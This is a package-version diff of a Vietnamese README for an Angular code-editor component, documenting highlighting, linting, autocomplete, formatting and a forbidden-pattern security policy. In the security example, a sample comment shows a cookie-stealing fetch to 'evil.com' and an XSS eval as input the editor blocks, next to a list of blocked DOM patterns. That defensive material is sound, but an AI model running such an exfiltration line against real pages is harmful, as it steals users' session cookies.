@libs-ui/components-preview-text-data 0.2.357-3 → 0.2.357-31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +406 -187
- package/editor/editor-completions.d.ts +8 -0
- package/editor/editor-forbidden.d.ts +8 -0
- package/editor/editor-height.d.ts +21 -0
- package/esm2022/editor/editor-completions.mjs +36 -0
- package/esm2022/editor/editor-forbidden.mjs +65 -0
- package/esm2022/editor/editor-height.mjs +136 -0
- package/esm2022/index.mjs +2 -1
- package/esm2022/linters/js-linter.mjs +348 -0
- package/esm2022/linters/json-linter.mjs +14 -0
- package/esm2022/linters/linter-shared.mjs +8 -0
- package/esm2022/linters/python-linter.mjs +52 -0
- package/esm2022/linters/sql-linter.mjs +34 -0
- package/esm2022/preview-text-data.component.mjs +109 -317
- package/esm2022/preview-text-data.define.mjs +42 -1
- package/esm2022/preview-text-data.type.mjs +2 -0
- package/esm2022/sql-format.define.mjs +364 -0
- package/fesm2022/libs-ui-components-preview-text-data.mjs +1191 -318
- package/fesm2022/libs-ui-components-preview-text-data.mjs.map +1 -1
- package/index.d.ts +1 -0
- package/linters/js-linter.d.ts +45 -0
- package/linters/json-linter.d.ts +4 -0
- package/linters/linter-shared.d.ts +3 -0
- package/linters/python-linter.d.ts +4 -0
- package/linters/sql-linter.d.ts +4 -0
- package/package.json +9 -7
- package/preview-text-data.component.d.ts +49 -31
- package/preview-text-data.define.d.ts +26 -0
- package/preview-text-data.type.d.ts +33 -0
- package/sql-format.define.d.ts +58 -0
package/README.md
CHANGED
|
@@ -11,6 +11,8 @@
|
|
|
11
11
|
- Highlight cú pháp cho 14 ngôn ngữ: JavaScript/TypeScript, HTML, CSS/SCSS, JSON, SQL, XML, YAML, Python, Java, C/C++, PHP, Go, Markdown, Plain Text
|
|
12
12
|
- Linter tích hợp phát hiện lỗi cú pháp thời gian thực cho JavaScript, JSON, SQL, Python
|
|
13
13
|
- IntelliSense với dot-notation: định nghĩa object/biến sẵn, gợi ý properties/methods khi gõ dấu chấm (giống IDE)
|
|
14
|
+
- **Nút "Định dạng" trên thanh công cụ**: bấm một lần là nội dung SQL/JSON tự căn chỉnh — người dùng không phải gõ dấu cách và xuống dòng bằng tay. Nút tự ẩn khi ô chỉ-đọc hoặc ngôn ngữ chưa có bộ định dạng
|
|
15
|
+
- **Style đã đủ dùng, nơi dùng KHÔNG phải viết thêm CSS**: font có glyph tiếng Việt cho cả ô nhập lẫn popup gợi ý, popup tách tên trường khỏi mô tả, dòng đang gõ / con trỏ / ngoặc khớp cặp / vùng bôi đen đều theo màu của thư viện
|
|
14
16
|
- Security policy: chặn pattern nguy hiểm (string hoặc RegExp) ngay khi gõ, chặn paste chứa vi phạm, emit danh sách vi phạm qua `(outViolations)`
|
|
15
17
|
- Lazy load ngôn ngữ: chỉ tải extension khi cần, tối ưu bundle size
|
|
16
18
|
- Non-destructive update: đổi ngôn ngữ, wrap, completions không làm mất nội dung hay vị trí con trỏ
|
|
@@ -62,220 +64,363 @@ import {
|
|
|
62
64
|
|
|
63
65
|
## Ví dụ sử dụng
|
|
64
66
|
|
|
65
|
-
### 1. Chế độ
|
|
67
|
+
### 1. Chế độ Xem (Read-only)
|
|
66
68
|
|
|
67
|
-
|
|
68
|
-
// my-viewer.component.ts
|
|
69
|
-
import { ChangeDetectionStrategy, Component } from '@angular/core';
|
|
70
|
-
import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
|
|
69
|
+
Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
|
|
71
70
|
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
})
|
|
85
|
-
export class MyViewerComponent {
|
|
86
|
-
readonly configCode = `{
|
|
87
|
-
"projectName": "Libs UI",
|
|
88
|
-
"version": "2.0.0",
|
|
89
|
-
"features": ["Signals", "CodeMirror", "OnPush"]
|
|
71
|
+
```html
|
|
72
|
+
<libs_ui-components-preview_text_data
|
|
73
|
+
[content]="readonlyCode"
|
|
74
|
+
[langSelected]="'javascript'"
|
|
75
|
+
[hiddenAction]="true"
|
|
76
|
+
background="#fcfcfc" />
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
```typescript
|
|
80
|
+
readonly readonlyCode = `/* Standalone Code Preview */
|
|
81
|
+
function checkStandards(component) {
|
|
82
|
+
return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
|
|
90
83
|
}`;
|
|
91
|
-
}
|
|
92
84
|
```
|
|
93
85
|
|
|
94
|
-
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
### 2. Chế độ Chỉnh sửa & Linter
|
|
89
|
+
|
|
90
|
+
Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
|
|
91
|
+
|
|
92
|
+
```html
|
|
93
|
+
<div class="flex flex-col gap-4">
|
|
94
|
+
<libs_ui-components-preview_text_data
|
|
95
|
+
[content]="jsonContent"
|
|
96
|
+
[(langSelected)]="editableLang"
|
|
97
|
+
[editable]="true"
|
|
98
|
+
[langsAccept]="['json', 'javascript', 'sql']"
|
|
99
|
+
(syntaxErrors)="onSyntaxErrors($event)" />
|
|
100
|
+
|
|
101
|
+
@if (linterErrors().length) {
|
|
102
|
+
<div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
|
|
103
|
+
Error: {{ linterErrors()[0].message }}
|
|
104
|
+
</div>
|
|
105
|
+
}
|
|
106
|
+
</div>
|
|
107
|
+
```
|
|
95
108
|
|
|
96
109
|
```typescript
|
|
97
|
-
// sql-editor.component.ts
|
|
98
110
|
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
|
|
99
|
-
import {
|
|
100
|
-
LibsUiComponentsPreviewTextDataComponent,
|
|
101
|
-
IPreviewTextDataChange,
|
|
102
|
-
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
|
|
103
|
-
} from '@libs-ui/components-preview-text-data';
|
|
111
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
104
112
|
import { Diagnostic } from '@codemirror/lint';
|
|
105
113
|
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
[content]="sqlQuery"
|
|
114
|
-
[(langSelected)]="currentLang"
|
|
115
|
-
[editable]="true"
|
|
116
|
-
[langsAccept]="['sql', 'javascript', 'json']"
|
|
117
|
-
(outChange)="handlerChange($event)"
|
|
118
|
-
(syntaxErrors)="handlerSyntaxErrors($event)" />
|
|
119
|
-
|
|
120
|
-
@if (lintErrors().length) {
|
|
121
|
-
<div class="p-3 bg-red-50 text-red-600 text-xs font-mono mt-2 rounded">
|
|
122
|
-
Lỗi cú pháp: {{ lintErrors()[0].message }}
|
|
123
|
-
</div>
|
|
124
|
-
}
|
|
125
|
-
`,
|
|
126
|
-
})
|
|
127
|
-
export class SqlEditorComponent {
|
|
128
|
-
readonly currentLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('sql');
|
|
129
|
-
readonly lintErrors = signal<Diagnostic[]>([]);
|
|
130
|
-
readonly sqlQuery = `SELECT id, name, email
|
|
131
|
-
FROM users
|
|
132
|
-
WHERE status = 'active'
|
|
133
|
-
ORDER BY created_at DESC
|
|
134
|
-
LIMIT 50;`;
|
|
135
|
-
|
|
136
|
-
handlerChange(event: IPreviewTextDataChange): void {
|
|
137
|
-
event.stopPropagation?.();
|
|
138
|
-
console.log('Nội dung thay đổi:', event.content, '— ngôn ngữ:', event.language);
|
|
139
|
-
}
|
|
114
|
+
// [content]="jsonContent" — nội dung JSON mẫu ban đầu
|
|
115
|
+
readonly jsonContent = `{
|
|
116
|
+
"projectName": "Libs UI",
|
|
117
|
+
"version": "1.0.0",
|
|
118
|
+
"features": ["Signals", "CodeMirror", "Standalone"],
|
|
119
|
+
"isBmadCompliant": true
|
|
120
|
+
}`;
|
|
140
121
|
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
122
|
+
// [(langSelected)]="editableLang" — ngôn ngữ đang chọn (two-way binding)
|
|
123
|
+
readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
|
|
124
|
+
|
|
125
|
+
// linterErrors() — hiển thị lỗi cú pháp đầu tiên bên dưới editor
|
|
126
|
+
readonly linterErrors = signal<Diagnostic[]>([]);
|
|
127
|
+
|
|
128
|
+
// Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
|
|
129
|
+
onSyntaxErrors(errors: Diagnostic[]): void {
|
|
130
|
+
this.linterErrors.set(errors);
|
|
144
131
|
}
|
|
145
132
|
```
|
|
146
133
|
|
|
147
|
-
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
### 3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
|
|
137
|
+
|
|
138
|
+
Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
|
|
139
|
+
|
|
140
|
+
```html
|
|
141
|
+
<libs_ui-components-preview_text_data
|
|
142
|
+
[content]="''"
|
|
143
|
+
[(langSelected)]="codeInputLang"
|
|
144
|
+
[editable]="true"
|
|
145
|
+
[langsAccept]="['javascript', 'python']"
|
|
146
|
+
[minLines]="10"
|
|
147
|
+
[maxLines]="20" />
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
```typescript
|
|
151
|
+
import { signal } from '@angular/core';
|
|
152
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
153
|
+
|
|
154
|
+
// Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
|
|
155
|
+
// minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
|
|
156
|
+
readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
### 4. Editor tự fit theo container (min/max-height)
|
|
162
|
+
|
|
163
|
+
Bọc editor trong 1 div đặt `min-height`/`max-height`, truyền element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
|
|
164
|
+
|
|
165
|
+
```html
|
|
166
|
+
<!-- #boxRef là template ref tới div container -->
|
|
167
|
+
<div #boxRef class="min-h-[120px] max-h-[300px]">
|
|
168
|
+
<libs_ui-components-preview_text_data
|
|
169
|
+
[content]="''"
|
|
170
|
+
[(langSelected)]="codeContainerLang"
|
|
171
|
+
[editable]="true"
|
|
172
|
+
[langsAccept]="['javascript', 'python']"
|
|
173
|
+
[containerElement]="boxRef" />
|
|
174
|
+
</div>
|
|
175
|
+
```
|
|
148
176
|
|
|
149
177
|
```typescript
|
|
150
|
-
|
|
151
|
-
import {
|
|
152
|
-
import {
|
|
153
|
-
LibsUiComponentsPreviewTextDataComponent,
|
|
154
|
-
IPreviewTextDataCompletionItem,
|
|
155
|
-
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
|
|
156
|
-
} from '@libs-ui/components-preview-text-data';
|
|
178
|
+
import { signal } from '@angular/core';
|
|
179
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
157
180
|
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
[completions]="completions"
|
|
169
|
-
background="#fafbfc" />
|
|
170
|
-
`,
|
|
171
|
-
})
|
|
172
|
-
export class JsIntelliSenseComponent {
|
|
173
|
-
readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
181
|
+
// Bọc editor trong div có min/max-height, truyền chính element đó vào.
|
|
182
|
+
// Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
|
|
183
|
+
readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
### 5. JavaScript — IntelliSense với Object có sẵn
|
|
189
|
+
|
|
190
|
+
Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
|
|
174
191
|
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
192
|
+
```html
|
|
193
|
+
<libs_ui-components-preview_text_data
|
|
194
|
+
[content]="jsStarterCode"
|
|
195
|
+
[(langSelected)]="jsAutocompleteLang"
|
|
196
|
+
[editable]="true"
|
|
197
|
+
[completions]="jsCompletions"
|
|
198
|
+
background="#fafbfc" />
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
```typescript
|
|
202
|
+
import { signal } from '@angular/core';
|
|
203
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
204
|
+
|
|
205
|
+
// [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
|
|
206
|
+
readonly jsStarterCode = `function printUserInfo() {
|
|
207
|
+
const userName = user.
|
|
208
|
+
const baseUrl = config.
|
|
209
|
+
return db.
|
|
179
210
|
}`;
|
|
180
211
|
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
}
|
|
212
|
+
// [(langSelected)]="jsAutocompleteLang"
|
|
213
|
+
readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
214
|
+
|
|
215
|
+
// [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
|
|
216
|
+
readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
|
|
217
|
+
{
|
|
218
|
+
label: 'user',
|
|
219
|
+
type: 'variable',
|
|
220
|
+
detail: 'object',
|
|
221
|
+
properties: [
|
|
222
|
+
{ label: 'id', type: 'property', detail: 'number' },
|
|
223
|
+
{ label: 'name', type: 'property', detail: 'string' },
|
|
224
|
+
{ label: 'email', type: 'property', detail: 'string' },
|
|
225
|
+
{ label: 'role', type: 'property', detail: "'admin'|'user'" },
|
|
226
|
+
{ label: 'logout', type: 'method', detail: '() => Promise<void>' },
|
|
227
|
+
],
|
|
228
|
+
},
|
|
229
|
+
{
|
|
230
|
+
label: 'config',
|
|
231
|
+
type: 'variable',
|
|
232
|
+
detail: 'object',
|
|
233
|
+
properties: [
|
|
234
|
+
{ label: 'apiUrl', type: 'property', detail: 'string' },
|
|
235
|
+
{ label: 'timeout', type: 'property', detail: 'number' },
|
|
236
|
+
{ label: 'debug', type: 'property', detail: 'boolean' },
|
|
237
|
+
],
|
|
238
|
+
},
|
|
239
|
+
// ... object "db" tương tự (host, port, query(), connect(), transaction()...)
|
|
240
|
+
];
|
|
208
241
|
```
|
|
209
242
|
|
|
210
|
-
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
### 6. JavaScript — IntelliSense lồng nhiều cấp (nested)
|
|
246
|
+
|
|
247
|
+
Gõ path nhiều cấp như `app.user.profile.address.` rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
|
|
248
|
+
|
|
249
|
+
```html
|
|
250
|
+
<libs_ui-components-preview_text_data
|
|
251
|
+
[content]="jsDeepStarterCode"
|
|
252
|
+
[(langSelected)]="jsDeepAutocompleteLang"
|
|
253
|
+
[editable]="true"
|
|
254
|
+
[completions]="jsDeepCompletions"
|
|
255
|
+
background="#fafbfc" />
|
|
256
|
+
```
|
|
211
257
|
|
|
212
258
|
```typescript
|
|
213
|
-
|
|
214
|
-
import {
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
259
|
+
import { signal } from '@angular/core';
|
|
260
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
261
|
+
|
|
262
|
+
// [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
|
|
263
|
+
readonly jsDeepStarterCode = `function buildUserCard() {
|
|
264
|
+
const ctx = app.
|
|
265
|
+
const avatar = app.user.profile.
|
|
266
|
+
const lat = app.user.profile.address.geo.
|
|
267
|
+
return app.services.auth.
|
|
268
|
+
}`;
|
|
221
269
|
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
}
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
270
|
+
// [(langSelected)]="jsDeepAutocompleteLang"
|
|
271
|
+
readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
272
|
+
|
|
273
|
+
// [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
|
|
274
|
+
// Gõ "app." → user, config, services
|
|
275
|
+
// Gõ "app.user.profile.address." → city, country, geo
|
|
276
|
+
readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
|
|
277
|
+
{
|
|
278
|
+
label: 'app',
|
|
279
|
+
type: 'variable',
|
|
280
|
+
detail: 'AppContext',
|
|
281
|
+
properties: [
|
|
282
|
+
{
|
|
283
|
+
label: 'user',
|
|
284
|
+
type: 'property',
|
|
285
|
+
detail: 'User',
|
|
286
|
+
properties: [
|
|
287
|
+
{ label: 'id', type: 'property', detail: 'number' },
|
|
288
|
+
{ label: 'name', type: 'property', detail: 'string' },
|
|
289
|
+
{
|
|
290
|
+
label: 'profile',
|
|
291
|
+
type: 'property',
|
|
292
|
+
detail: 'Profile',
|
|
293
|
+
properties: [
|
|
294
|
+
{ label: 'avatar', type: 'property', detail: 'string' },
|
|
295
|
+
{ label: 'bio', type: 'property', detail: 'string' },
|
|
296
|
+
{
|
|
297
|
+
label: 'address',
|
|
298
|
+
type: 'property',
|
|
299
|
+
detail: 'Address',
|
|
300
|
+
properties: [
|
|
301
|
+
{ label: 'city', type: 'property', detail: 'string' },
|
|
302
|
+
{ label: 'country', type: 'property', detail: 'string' },
|
|
303
|
+
{
|
|
304
|
+
label: 'geo',
|
|
305
|
+
type: 'property',
|
|
306
|
+
detail: 'GeoPoint',
|
|
307
|
+
properties: [
|
|
308
|
+
{ label: 'lat', type: 'property', detail: 'number' },
|
|
309
|
+
{ label: 'lng', type: 'property', detail: 'number' },
|
|
310
|
+
],
|
|
311
|
+
},
|
|
312
|
+
],
|
|
313
|
+
},
|
|
314
|
+
],
|
|
315
|
+
},
|
|
316
|
+
],
|
|
317
|
+
},
|
|
318
|
+
// ...config, services tương tự (mỗi cấp có 'properties' riêng)
|
|
319
|
+
],
|
|
320
|
+
},
|
|
321
|
+
];
|
|
322
|
+
```
|
|
254
323
|
|
|
255
|
-
|
|
256
|
-
function calculateTotal(items) {
|
|
257
|
-
return items.reduce((sum, item) => sum + item.price * item.qty, 0);
|
|
258
|
-
}
|
|
259
|
-
// Thử gõ: eval("test") hoặc localStorage.getItem('key')
|
|
260
|
-
// → sẽ bị highlight đỏ và chặn paste`;
|
|
324
|
+
---
|
|
261
325
|
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
326
|
+
### 7. Python — IntelliSense với Class/Object
|
|
327
|
+
|
|
328
|
+
Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
|
|
329
|
+
|
|
330
|
+
```html
|
|
331
|
+
<libs_ui-components-preview_text_data
|
|
332
|
+
[content]="pyStarterCode"
|
|
333
|
+
[(langSelected)]="pyAutocompleteLang"
|
|
334
|
+
[editable]="true"
|
|
335
|
+
[completions]="pyCompletions"
|
|
336
|
+
background="#fafbfc" />
|
|
337
|
+
```
|
|
338
|
+
|
|
339
|
+
```typescript
|
|
340
|
+
import { signal } from '@angular/core';
|
|
341
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
342
|
+
|
|
343
|
+
// [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
|
|
344
|
+
readonly pyStarterCode = `def handle_request():
|
|
345
|
+
server = config.
|
|
346
|
+
data = request.
|
|
347
|
+
logger.
|
|
348
|
+
return server`;
|
|
349
|
+
|
|
350
|
+
// [(langSelected)]="pyAutocompleteLang"
|
|
351
|
+
readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
|
|
352
|
+
|
|
353
|
+
// [completions]="pyCompletions"
|
|
354
|
+
readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
|
|
355
|
+
{
|
|
356
|
+
label: 'config',
|
|
357
|
+
type: 'class',
|
|
358
|
+
detail: 'class Config',
|
|
359
|
+
properties: [
|
|
360
|
+
{ label: 'host', type: 'property', detail: 'str' },
|
|
361
|
+
{ label: 'port', type: 'property', detail: 'int' },
|
|
362
|
+
{ label: 'debug', type: 'property', detail: 'bool' },
|
|
363
|
+
{ label: 'to_dict', type: 'method', detail: '() -> dict' },
|
|
364
|
+
],
|
|
365
|
+
},
|
|
366
|
+
// ... object "request" tương tự (method, url, headers, json()...)
|
|
367
|
+
{
|
|
368
|
+
label: 'logger',
|
|
369
|
+
type: 'variable',
|
|
370
|
+
detail: 'Logger',
|
|
371
|
+
properties: [
|
|
372
|
+
{ label: 'info', type: 'method', detail: '(msg: str) -> None' },
|
|
373
|
+
{ label: 'error', type: 'method', detail: '(msg: str) -> None' },
|
|
374
|
+
{ label: 'warning', type: 'method', detail: '(msg: str) -> None' },
|
|
375
|
+
],
|
|
376
|
+
},
|
|
377
|
+
];
|
|
266
378
|
```
|
|
267
379
|
|
|
268
|
-
|
|
380
|
+
---
|
|
381
|
+
|
|
382
|
+
### 8. Security Policy — Forbidden Patterns
|
|
383
|
+
|
|
384
|
+
Chặn người dùng gõ hoặc paste mã vi phạm bảo mật (`[forbiddenPatterns]`). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra `(outViolations)`.
|
|
269
385
|
|
|
270
386
|
```html
|
|
271
|
-
<!-- Khi langsAccept có đúng 1 phần tử trùng với langSelected → dropdown bị ẩn -->
|
|
272
387
|
<libs_ui-components-preview_text_data
|
|
273
|
-
[content]="
|
|
274
|
-
[(langSelected)]="
|
|
388
|
+
[content]="securityStarterCode"
|
|
389
|
+
[(langSelected)]="securityLang"
|
|
275
390
|
[editable]="true"
|
|
276
|
-
[
|
|
391
|
+
[forbiddenPatterns]="defaultSecurityPatterns"
|
|
392
|
+
(outViolations)="onSecurityViolations($event)"
|
|
393
|
+
background="#fafbfc" />
|
|
394
|
+
```
|
|
395
|
+
|
|
396
|
+
```typescript
|
|
397
|
+
import { signal } from '@angular/core';
|
|
398
|
+
import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
399
|
+
|
|
400
|
+
// [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
|
|
401
|
+
readonly securityStarterCode = `function calculateTotal(items) {
|
|
402
|
+
return items.reduce((sum, item) => sum + item.price * item.qty, 0);
|
|
403
|
+
}
|
|
404
|
+
// Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
|
|
405
|
+
// eval("alert('xss')")
|
|
406
|
+
// fetch('https://evil.com/steal?data=' + document.cookie)`;
|
|
407
|
+
|
|
408
|
+
// [(langSelected)]="securityLang"
|
|
409
|
+
readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
410
|
+
|
|
411
|
+
// [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
|
|
412
|
+
readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
|
|
413
|
+
|
|
414
|
+
// (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
|
|
415
|
+
readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
|
|
416
|
+
|
|
417
|
+
onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
|
|
418
|
+
this.securityViolations.set(violations);
|
|
419
|
+
}
|
|
277
420
|
```
|
|
278
421
|
|
|
422
|
+
> ⚠️ **Chỉ cho phép một ngôn ngữ cố định**: Khi `[langsAccept]` có đúng 1 phần tử trùng với `langSelected` → dropdown chọn ngôn ngữ tự động bị ẩn (computed `acceptChangeLang = false`).
|
|
423
|
+
|
|
279
424
|
## @Input()
|
|
280
425
|
|
|
281
426
|
| Input | Type | Default | Mô tả | Ví dụ |
|
|
@@ -290,6 +435,13 @@ function calculateTotal(items) {
|
|
|
290
435
|
| `[forbiddenPatterns]` | `T_ForbiddenPattern[]` | `[]` | Danh sách pattern bị cấm (string hoặc RegExp). Highlight đỏ khi gõ, chặn paste chứa vi phạm, phát ra `(outViolations)` | `[forbiddenPatterns]="DEFAULT_SECURITY_PATTERNS"` |
|
|
291
436
|
| `[lintIgnorePatterns]` | `string[]` | `['Cannot use import statement...', 'Unexpected token export', 'import ', '@angular/core']` | Danh sách chuỗi lỗi linter JS sẽ bị bỏ qua (ignore) trong quá trình kiểm tra | `[lintIgnorePatterns]="['import ']"` |
|
|
292
437
|
| `[background]` | `string` | `'#f8f9fa'` | Màu nền của vùng soạn thảo (CSS color value) | `background="#ffffff"` |
|
|
438
|
+
| `[minLines]` | `number` | `undefined` | Số dòng tối thiểu. Nếu content ít dòng hơn sẽ tự bù dòng trống (xử lý 1 lần khi khởi tạo editor); đủ/nhiều hơn thì giữ nguyên, không cắt bớt | `[minLines]="10"` |
|
|
439
|
+
| `[maxLines]` | `number` | `undefined` | Số dòng tối đa hiển thị. Vượt quá → editor giới hạn chiều cao và xuất hiện vùng cuộn (đo line-height thật khi khởi tạo) | `[maxLines]="20"` |
|
|
440
|
+
| `[zIndexPopover]` | `number` | `undefined` | z-index cho popover dropdown chọn ngôn ngữ (dùng khi editor nằm trong modal/overlay có z-index cao) | `[zIndexPopover]="1500"` |
|
|
441
|
+
| `[containerElement]` | `HTMLElement` | `undefined` | Element bọc ngoài (đã set `min-height`/`max-height` CSS). Editor snap số dòng theo container: `min-height` → bù dòng trống cho đủ (hiện line-number 1..N), `max-height` → giới hạn + scroll. **CẤM** dùng cùng `[minLines]`/`[maxLines]` (throw lỗi) | `[containerElement]="boxRef"` |
|
|
442
|
+
| `[hiddenSearchLang]` | `boolean` | `false` | Ẩn ô tìm kiếm trong dropdown chọn ngôn ngữ (danh sách ngôn ngữ ngắn thường không cần search) | `[hiddenSearchLang]="true"` |
|
|
443
|
+
| `[showFormatAction]` | `boolean` | `true` | Hiện nút "Định dạng" trên thanh công cụ. Nút chỉ hiện khi ô **sửa được** và ngôn ngữ đang chọn có bộ định dạng (`sql`, `json`) — ô chỉ-đọc mà mọc ra nút không làm gì thì người dùng bấm rồi tưởng hỏng | `[showFormatAction]="false"` |
|
|
444
|
+
| `[autoFormatOnLoad]` | `boolean` | `false` | Tự căn chỉnh ngay khi nạp nội dung. Mặc định **tắt**: nội dung người dùng đã lưu có thể đang căn theo ý riêng của họ, tự sửa lúc mở ra là ghi đè công của họ. Bật khi nguồn nội dung là máy sinh | `[autoFormatOnLoad]="true"` |
|
|
293
445
|
|
|
294
446
|
## @Output()
|
|
295
447
|
|
|
@@ -408,6 +560,81 @@ Các pattern được chặn:
|
|
|
408
560
|
| `/document\.write\s*\(/i` | Ghi trực tiếp vào DOM |
|
|
409
561
|
| `/window\.location\s*=/i` | Chuyển hướng trang |
|
|
410
562
|
|
|
563
|
+
### DEFAULT_SQL_FORBIDDEN_PATTERNS
|
|
564
|
+
|
|
565
|
+
Bộ pattern chặn mặc định cho ô soạn **SQL** — dùng cho màn chỉ đọc (BI, dashboard, báo cáo).
|
|
566
|
+
|
|
567
|
+
```typescript
|
|
568
|
+
import { DEFAULT_SQL_FORBIDDEN_PATTERNS } from '@libs-ui/components-preview-text-data';
|
|
569
|
+
|
|
570
|
+
[forbiddenPatterns]="DEFAULT_SQL_FORBIDDEN_PATTERNS"
|
|
571
|
+
```
|
|
572
|
+
|
|
573
|
+
